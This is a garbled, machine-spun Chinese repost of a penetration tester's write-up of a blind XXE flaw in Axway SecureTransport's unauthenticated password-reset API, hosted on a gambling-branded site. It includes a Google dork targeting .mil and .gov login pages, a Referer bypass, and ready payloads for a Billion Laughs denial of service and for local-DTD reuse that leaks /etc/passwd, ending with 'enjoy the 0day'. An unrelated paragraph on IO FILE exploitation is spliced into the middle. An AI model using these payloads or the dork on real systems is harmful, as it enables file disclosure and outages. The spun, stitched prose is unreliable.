一次Blind-XXE破绽发掘之旅 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

一次Blind-XXE破绽发掘之旅

申博_新闻事件 申博 162次浏览 已收录 0个评论

0x01 媒介

当对大公司做渗入测试时,一般我们会发明雷同的软件在差别公司中被运用。过去几周我一向在做渗入测试,其间我最少三次遇到过一个名为Axway SecureTransport Login的软件。Axway官网引见道:

“Axway SecureTransport是一个多协定的MFT网关,用于庇护,治理和跟踪企业内部人员的文件传输以及用户社区,云和挪动装备平安。 这款产品设计初志是处置惩罚一切事宜——从体系,网站,营业线以及合作伙伴之间的大容量高速平安的文件传输,到用户驱动的通讯和挪动终端。”

它好像是很症结的设备?Nope

一次Blind-XXE破绽发掘之旅

0x01.1 哪些构造运用它?

运用Google黑客,看看哪些构造在运用这款软件。

intitle:"Axway SecureTransport" "Login" (site:mil OR site:gov)

一次Blind-XXE破绽发掘之旅

0x02 发明破绽

正如我在前面说的那样,我在渗入测试过程当中遇到Axway SecureTransport login好几次了,决议轻微检察一下。终究我受够了,遇到太屡次了,我以为它一定有蹊跷。

毫无疑问,寻觅破绽的第一步是肯定进击面。看起来它是一款企业软件,而且要运用的话须要供应凭证。那末我会尝试对峙运用如今的权限做一些操纵。

我做的第一件事是读页面源码(首页)。在一个名为login.js的文件中我发明了以下代码:

var parameters = "<resetPassword><email>" + userEmail + "</email></resetPassword>";
$.ajax({
    url : "/api/v1.0/myself/resetPassword",
    type : 'POST',
    contentType : 'application/xml',
    data : parameters,
    cache : false,
    success : function(data) {
    var msg = $.tmpl('<p>${m1}</p><p>${m2}</p>', {
        m1: _('Your request is now submitted.'),
        m2: message
        });

    errorPlaceholder.success(msg);
    }
});

简朴浏览代码,明显能够看出我们能够发送暗码重置邮件(无需身份验证)。还能够看到,在XMLHttpRequest中ContentType被设置为XML,而且用XML数据存储var参数。

这给我们供应了一个很好的进击模版,我们能够发送一些有用的XML数据。治理员禁用了遗忘暗码选项,这就是我们看不到它的缘由。然则这是完整无效的,因为顺序只是从UI层面禁用了它。

翻开Burp举行一些疾速测试。发送请求https://placeholder/api/v1.0/myself/resetPassword(GET体式格局),阻拦SecureTransport的请求。相应以下:

一次Blind-XXE破绽发掘之旅

很明显,经由过程报错可知,效劳器请求供应Referer标头而且对其举行检查是不是属于白名单。Ok,将Referer设置为localhost,便可轻松绕过。

设置好Referer标头后,接下来尝试发送POST请求,看看会发作什么。

一次Blind-XXE破绽发掘之旅

效劳器返回毛病信息:

{
  "message" : "javax.xml.bind.UnmarshalException
   - with linked exception:
   [org.xml.sax.SAXParseException; Premature end of file.]"
}

该毛病信息一般示意效劳器尝试剖析一个空的XML文档。逐渐测试,先随便插进去一个标签<test>,看看反应:

一次Blind-XXE破绽发掘之旅

此次效劳器返回的报错信息为:

{
  "message" : "javax.xml.bind.UnmarshalException:
  unexpected element (uri:&quot;&quot;, local:&quot;test&quot;).
  Expected elements are &lt;{}resetPassword&gt;"
}

很明显,效劳器愿望收到<resetPassword></resetPassword>元素,让我们进一步测试看看会发作什么。

一次Blind-XXE破绽发掘之旅

IO FILE 之任意读写

上篇文章描述了vtable check以及绕过vtalbe check的方法之一,利用vtable段中的_IO_str_jumps来进行FSOP。本篇则主要描述使用缓冲区指针来进行任意内存读写。 从前面fread以及fwrite的分析中,我们知道了FILE结构体中的缓冲区指针是用来进行输入输出的,很容易的就想到了如果能过伪造这些缓冲区指针,在一定的条件下应该可以完成任意地址的读写。 本文包括两部分: 使用stdin标准输入缓冲区进行任意地址写。 使用stdout标准输出缓冲区进行任意地址读写。

从图片能够看到,还须要发送email标签。我们在payload里增加email标签,而且在顶部增加XML声明,看看会如何。

<?xml version="1.0" encoding="UTF-8"?>
<resetPassword>
    <email>lol@lol.lol</email>
</resetPassword>

一次Blind-XXE破绽发掘之旅

效劳器给出相应204…

因为相应没有任何毛病,所以我们如今能够肯定XML被成功地剖析。我之前不相信这点,但是当我在表单中插进去有用的email时,效劳器反应的也是204相应。

但不好的一点是,效劳器没有反应出任何有用内容,这意味着我们要自觉探究。好的一点是,当外部实体或dtd声明被禁用时,SAXParser会抛出异常。我们能够综合这两点来确认破绽,探索行进。

0x03 确认破绽

我们能够随便发送XML数据给效劳器,而且效劳器将处置惩罚这些数据。 考虑到效劳器易受XML注入影响,我们还能够尝试带入外部实体。

如今尝试定义一些实体,看看会发作什么。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE resetPassword [
<!ENTITY exists SYSTEM "file:///">
]>
<resetPassword>
    <email>&exists;&doesnt;</email>
</resetPassword>

一次Blind-XXE破绽发掘之旅

{
  "message" : "javax.xml.bind.UnmarshalException
   - with linked exception:
   [org.xml.sax.SAXParseException; lineNumber: 6;
    columnNumber: 25; The entity &quot;doesnt&quot;
    was referenced, but not declared.]"
}

一般假如准确设置了文档范例,将触发异常。假如用户运用的是受限的URI hander(http,ftp,gopher和file),SAXParser也会发作异常,但我没有测试它们。

0x04 应用破绽

因为效劳器不会返回有用内容,所以我们只能尝试基于报错的XXE或out-of-band XXE。然则在我们测试时,发明Axway SecureTransport好像安装了某种防火墙,隔绝了一切向外部发出的请求,这使得应用传统XXE进击体式格局越发难题。

基于这一点,我的主意是经由过程Blind-SSRF或加载当地体系上自带的的DTD文件,然后连系Payload内容触发毛病。

然则我没有License,拿不到源代码,没法做白盒审计,所以没法映射出内部的进击。这个破绽虽然存在,但有一些限定。

0x04.1 SSRF Payload

XXE破绽异常有意思,因为它能够反应出种种平安问题。最常见的XXE进击是经由过程发送效劳端请求来进击内部效劳。

一次Blind-XXE破绽发掘之旅

0x04.2 DoS进击 Payload

这个软件还易受DoS进击。在2002年,媒体报道了Billion Laughs进击事宜。 Billion Laughs进击会使得效劳器加载大批实体,耗尽资本然后崩溃。

这类进击有几个变体,异常有创意 :)

我在维基百科上找到了下面这个payload:

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

0x04.3 应用当地DTD

另一种相对较新颖的手艺是当地DTD再应用。如今人们一般都邑运用这个手艺来绕过XXE进击的一些限定。经由过程该手艺,我们能够从新定义当地文件体系中已存在的DTD实体。然后,我们能够成功地让应用顺序发作毛病。

举个例子,下面是一个DTD再应用进击的payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE resetPassword [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % expr 'aaa)>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>">
%eval;
%error;
<!ELEMENT aa (bb'>
    %local_dtd;
]>
<resetPassword></resetPassword>

确切,这很有创意。

0x05 小结

假如读者想要相识进击Axway SecureTransport软件,那末参考本文的破绽能够协助你。DTD再应用是一种较新颖的进击手艺,预计在不久以后因为XML剖析器和防火墙的完美,我们能够看到更多新颖的进击体式格局。很遗憾没有License,这使我在进一步测试时异常不舒服,我只能测试收集上的目的。

那末列位,请享用0day。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明一次Blind-XXE破绽发掘之旅
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址